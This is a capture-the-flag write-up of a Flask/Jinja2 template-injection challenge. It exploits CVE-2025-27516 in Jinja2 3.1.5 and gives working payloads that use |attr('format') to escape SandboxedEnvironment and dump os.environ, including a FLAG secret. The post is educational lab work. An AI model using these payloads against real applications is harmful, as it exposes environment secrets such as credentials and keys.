Post

Greetings 🐍

A Python/Jinja2 SSTI challenge using SandboxedEnvironment and CVE-2025-27516.

Greetings 🐍

This challenge was solved by a human πŸ€“

πŸ—’οΈ Challenge Description

So you think you know everything about python SSTI? We’ll see about that!

http://greetings.cfire:5000

Handout:

1
2
Flask
Jinja2==3.1.5

🧭 Scope

  • Target: http://greetings.cfire:5000
  • Category: Web exploitation
  • Focus: Python SSTI in Jinja2’s SandboxedEnvironment
  • Goal: Escape the sandbox and recover the flag

πŸ“¦ Handout

The challenge source is short and only contains an app.py. It is a simple Flask server using Jinja2’s SandboxedEnvironment, and it lets the user write and render their own server-side templates.

🌐 First Look

The page lets us submit two values:

  • name, which is passed into the template context.
  • template, which is rendered directly by Jinja2.

Writing a template like {{ 6*7 }} renders the expected 42, which confirms server-side template injection.

πŸ§ͺ Vulnerable requirements

Looking at the requirements file, the Jinja2 version is pinned to 3.1.5. That is not the latest version, which is a pretty loud hint that the challenge might rely on a known vulnerability.

A quick search for β€œJinja2 3.1.5 vulnerabilities” reveals CVE-2025-27516, a sandbox breakout in Jinja2’s SandboxedEnvironment. That matches the challenge setup perfectly.

Searching for a ready-made PoC did not immediately give me much. But the NVD entry links to the GitHub commit that fixed the vulnerability. Even better, the fix includes a test case that demonstrates the issue:

pallets/jinja commit 48b0687

The test contains this payload:

1
2
3
4
5
env = SandboxedEnvironment()
t = env.from_string(
    """{{ "{0.__call__.__builtins__[__import__]}"
          | attr("format")(not_here) }}"""
)

The vulnerability is that using |attr to get the format method of a string bypasses the normal sandbox checks around str.format.

At first, this feels a lot like a Python jail. Usually, one way to escape a Python jail is to reach __import__, import the os module, and then use something like os.popen() to execute commands.

However, in this case, the str.format field syntax only gives us attribute and item access. We cannot just call functions inside the format field. So instead of trying to execute commands, the better target is readable data already exposed through Python objects.

That led me to os.environ, which contains the flag.

πŸ§ͺ Payload

This payload walks through the loader globals to reach the already-loaded sys module, then uses sys.modules to access os.environ:

1
{{ ("{0.__init__.__globals__[__loader__].load_module.__globals__[sys].modules[os].environ}" | attr("format")(hi)) }}

That dumps the full environment, including the FLAG variable. A cleaner version reads only the flag:

1
{{ ("{0.__init__.__globals__[__loader__].load_module.__globals__[sys].modules[os].environ[FLAG]}" | attr("format")(hi)) }}

🚩 Flag

1
DDC{sandboxes_are_meant_to_be_escaped_03826567e490b821}

πŸ€“ TL;DR

  1. Confirmed SSTI with {{ 6*7 }}, which rendered 42.
  2. Noticed the handout pins Jinja2 to 3.1.5.
  3. Found CVE-2025-27516, a SandboxedEnvironment breakout using |attr("format").
  4. Used Python format-field traversal to reach sys.modules[os].environ.
  5. Read the FLAG environment variable.